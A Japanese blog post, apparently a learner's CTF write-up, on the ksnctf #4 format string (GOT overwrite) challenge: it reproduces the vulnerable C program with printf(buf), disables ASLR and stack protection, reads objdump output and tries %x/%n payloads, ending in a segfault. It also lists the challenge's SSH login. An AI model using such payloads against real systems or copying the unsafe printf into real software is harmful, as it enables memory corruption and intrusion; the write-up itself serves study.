技術ブログを開設する
ログイン
もっと気軽にアウトプットできる技術ブログプラットフォーム
この投稿は別サイトからのクロス投稿です(クロス元:https://qiita.com/developer-kiki...

はじめに

ksnctf #4の仕組みを理解する為に、リバースエンジニアリングっぽいことをして手元で試してみたかった記録です。(未完

やっていることはformat string attack(書式文字列攻撃)。簡単に言うと、printfのフォーマット文字列の文字列ごと外部から変更可能なコードだと、アセンブラを覗いて好きなデータを覗いたり実行したり出来ちゃうよ!って話です。

ksnctf #4の概要

以下にアクセスした直下にq4というバイナリがあります。

SSH: ctfq.sweetduet.info:10022  
ID: q4  
Pass: q60SIMpLlej9eq49  

こちらのコードがfgetsで取得した値をそのままprintfにぶち込んでる
⇒その後に呼ばれるputcharのjmp先を本来呼ばれないはずのfopenに書き換えて、アクセス権の無いファイルを開いてしまおう!
という問題でした。

実際にポイントとなるアドレスはこちら。

08048474 <[email protected]>:  
 8048474:       ff 25 e0 99 04 08       jmp    *0x80499e0  
 804847a:       68 08 00 00 00          push   $0x8  
 804847f:       e9 d0 ff ff ff          jmp    8048454 <_init+0x30>  

08048484 <[email protected]>:  
 8048484:       ff 25 e4 99 04 08       jmp    *0x80499e4  
 804848a:       68 10 00 00 00          push   $0x10  
 804848f:       e9 c0 ff ff ff          jmp    8048454 <_init+0x30>  

...  

080484b4 <[email protected]>:  
 80484b4:       ff 25 f0 99 04 08       jmp    *0x80499f0  
 80484ba:       68 28 00 00 00          push   $0x28  
 80484bf:       e9 90 ff ff ff          jmp    8048454 <_init+0x30>  

先頭のjmpで参照しているレジスタのアドレスがfgetsが0x80499e4, printfが0x80499f0。
入力で使われるのはfgetsなので、そのアドレス+6バイトのところにprintfで参照しているレジスタのアドレスが来る計算となります。
そこに"putcharの参照するレジストリを0x80499f0から別の場所にを書き換える処理"の文字列をぶち込むようにすればいいという理解でいます。

ksnctfの問題に対してリバースエンジニアリング的なことをしてみる。

作成コード

ksnctfの問題で出ていたオブジェクトのobjdump結果を元に作ってみました。
コメントのアドレスは元ネタのq4バイナリをobjdumpした際のアドレス。
fgetsの後のprintfで書式文字列攻撃をしていたからこんな感じだと思うんですよね。

通常はfopenが絶対呼べないコードですが、なるほど確かにメモリ配置を把握出来て、最初のfgetsで入力した文字列を使ってそこにアクセスできるなら、fopenの実行が可能になりそう。

#include <stdio.h>  
#include <string.h>  

int main(int argc, char*argv[]) {  
    char buf[1024]={0};  

    /*80484c4 <[email protected]>*/  
    printf("What's your name?\n");  

    /*8048484 <[email protected]>*/  
    fgets(buf, sizeof(buf), stdin);  
    /*80484b4 <[email protected]>*/  
    printf("Hi, ");  
    /*80484b4 <[email protected]>, 書式文字列攻撃*/  
    printf(buf);  
    /*8048474 <[email protected]>*/  
    putchar('\n');  

    /*8048681 <main+0xcd>*/  
    while(1) {  
        /*80484c4 <[email protected]>*/  
        puts("Do you want the flag?");  

        /*8048484 <[email protected]>*/  
        if(fgets(buf, sizeof(buf), stdin) == NULL) break;  

        /*80484e4 <[email protected]>*/  
        int ret = strcmp(buf,"no\n");  
        if(ret == 0) {  
            /*80484c4 <[email protected]>*/  
            puts("I see. Good bye.");  
            break;  
        }  

        if(ret != 0) {  
            continue;  
        }  
        /*80484a4 <[email protected]> ~*/  
        FILE * fp = fopen("flag.txt", "r");  
        fgets(buf, sizeof(buf), fp);  
        printf("%s", buf);  
    }  
    return 0;  
}  

※投稿してから思ったけどfopen処理後にbreakしてないな(笑)

コンパイルしてみる。

動作環境はUbuntu18.04、gccのバージョンは7.3.0です。
コンパイルオプションやカーネル設定も重要になります。
というのも上記のような攻撃に対応するためちゃんとkernel, コンパイラで制御が入っているから。

例えばgccのstack-protectorオプションでスタック破壊を検出する仕組み(カナリアというそうです)が入っています。
参考: バッファオーバーフロー: #5 運用環境における防御

というわけでこんな感じでコンパイル。

$ sudo sysctl -w kernel.randomize_va_space=0  
$ gcc  -z execstack -fno-stack-protector  main.c -o q4  

randomize_va_spaceはASLRという機能に関する設定で、こちらはプログラムに展開されるデータの配置をランダムにする設定。
無効⇒objdumpと同じ配置になるということですかね。

また、execstackはスタック実行可能フラグを設定するもの。
こうやって見るだけでも、色々な脆弱性対応がデフォルトで行われているんですね。

また新しいgccは優秀で、format string attackが出来る脆弱コードには警告が出るようになっていました。素晴らしい!

main.c: In function ‘main’:  
main.c:15:9: warning: format not a string literal and no format arguments [-Wformat-security]  
  printf(buf);  

動作を見てみる

記事と同じ理屈で実験。

私の手元でbuildした際は、printfとfgetsの参照しているレジスタアドレスの差は4バイトでした。なのでfgetsの入力を%pした際の4番目が実際にfgetsで書き込まれる値となるはず。

0000000000000670 <[email protected]>:  
 670:   ff 25 32 09 20 00       jmpq   *0x200932(%rip)        # 200fa8 <[email protected]_2.2.5>  
 676:   68 00 00 00 00          pushq  $0x0  
 67b:   e9 e0 ff ff ff          jmpq   660 <.plt>  

0000000000000690 <[email protected]>:  
 690:   ff 25 22 09 20 00       jmpq   *0x200922(%rip)        # 200fb8 <[email protected]_2.2.5>  
 696:   68 02 00 00 00          pushq  $0x2  
 69b:   e9 c0 ff ff ff          jmpq   660 <.plt>  

00000000000006a0 <[email protected]>:  
 6a0:   ff 25 1a 09 20 00       jmpq   *0x20091a(%rip)        # 200fc0 <[email protected]_2.2.5>  
 6a6:   68 03 00 00 00          pushq  $0x3  
 6ab:   e9 b0 ff ff ff          jmpq   660 <.plt>  

試してみます。

echo -e "\x32\x09\x20,%x,%x,%x,%x,%x,%x,%x,%  
x" | ./q4  
What's your name?  
Hi, 2    ,202c6948,0,0,3abbb4c0,0,f132f7f8,1f6573f8,2c200932  

うまく入力した中身が参照出来ていますね。
…ってあれ?表示位置が8バイトだ。まあじゃあ8バイトずらすことになるのか。しかも謎の2cがついてる。まあ多分大丈夫だろう。

また、先頭4byte分空白がありますね。ということは飛びたい位置-4でいいのかな。
そしてfopen周辺は0x08d2(2258)。

00000000000007ea <main>:  
 7ea:   55                      push   %rbp  
 7eb:   48 89 e5                mov    %rsp,%rbp  
... fgetsの周り  
 83b:   e8 60 fe ff ff          callq  6a0 <[email protected]>  
 840:   48 8d 3d 7f 01 00 00    lea    0x17f(%rip),%rdi        # 9c6 <_IO_stdin_used+0x16>  
 847:   b8 00 00 00 00          mov    $0x0,%eax  
 84c:   e8 3f fe ff ff          callq  690 <[email protected]>  
 851:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax  
 858:   48 89 c7                mov    %rax,%rdi  
 85b:   b8 00 00 00 00          mov    $0x0,%eax  
 860:   e8 2b fe ff ff          callq  690 <[email protected]>  
 865:   bf 0a 00 00 00          mov    $0xa,%edi  
 86a:   e8 01 fe ff ff          callq  670 <[email protected]>  
...jumpしたいところ周辺  
 8d0:   75 4f                   jne    921 <main+0x137>  
 8d2:   48 8d 35 1d 01 00 00    lea    0x11d(%rip),%rsi        # 9f6 <_IO_stdin_used+0x46>  
 8d9:   48 8d 3d 18 01 00 00    lea    0x118(%rip),%rdi        # 9f8 <_IO_stdin_used+0x48>  
 8e0:   e8 db fd ff ff          callq  6c0 <[email protected]>  
 8e5:   48 89 45 f0             mov    %rax,-0x10(%rbp)  
 8e9:   48 8b 55 f0             mov    -0x10(%rbp),%rdx  
 8ed:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax  

よし、ここから導きだされる実行オプションは…これだ!

`echo -e "\x32\x09\x20%2254x%8\$n" | ./q4  
What's your name?  
Hi, 2    (スペース中略)  
Segmentation fault (core dumped)``  

なんでだー!
うーん、多分他にもgccやkernelのオプションでうまくガードしているのかな。詳しい方コメントください!
まあ攻撃の仕組みはなんとなくわかったから満足

最後に

というわけで、format string attackと、ついでにアセンブラを読んでリバースエンジニアリングしてみた話です。
こういった攻撃を知ることもそうですし、ちゃんと意識せずともLinuxの仕組みで攻撃対策がされていることを知ることが出来たのが収穫でした。
脆弱性対策ってほんと大事。

参考

ksnctf 4 Villager A 300pt
GOT overwrite ~ ksnctf #4 Villager A ~
format string attackによるメモリ読み出しをやってみる
ASLRとKASLRの概要
バッファオーバーフロー: #5 運用環境における防御

関連記事

この記事へのコメント

まだコメントはありません
1
@dOpIa1PQNPi5jLrnの技術ブログ
1
このエントリーをはてなブックマークに追加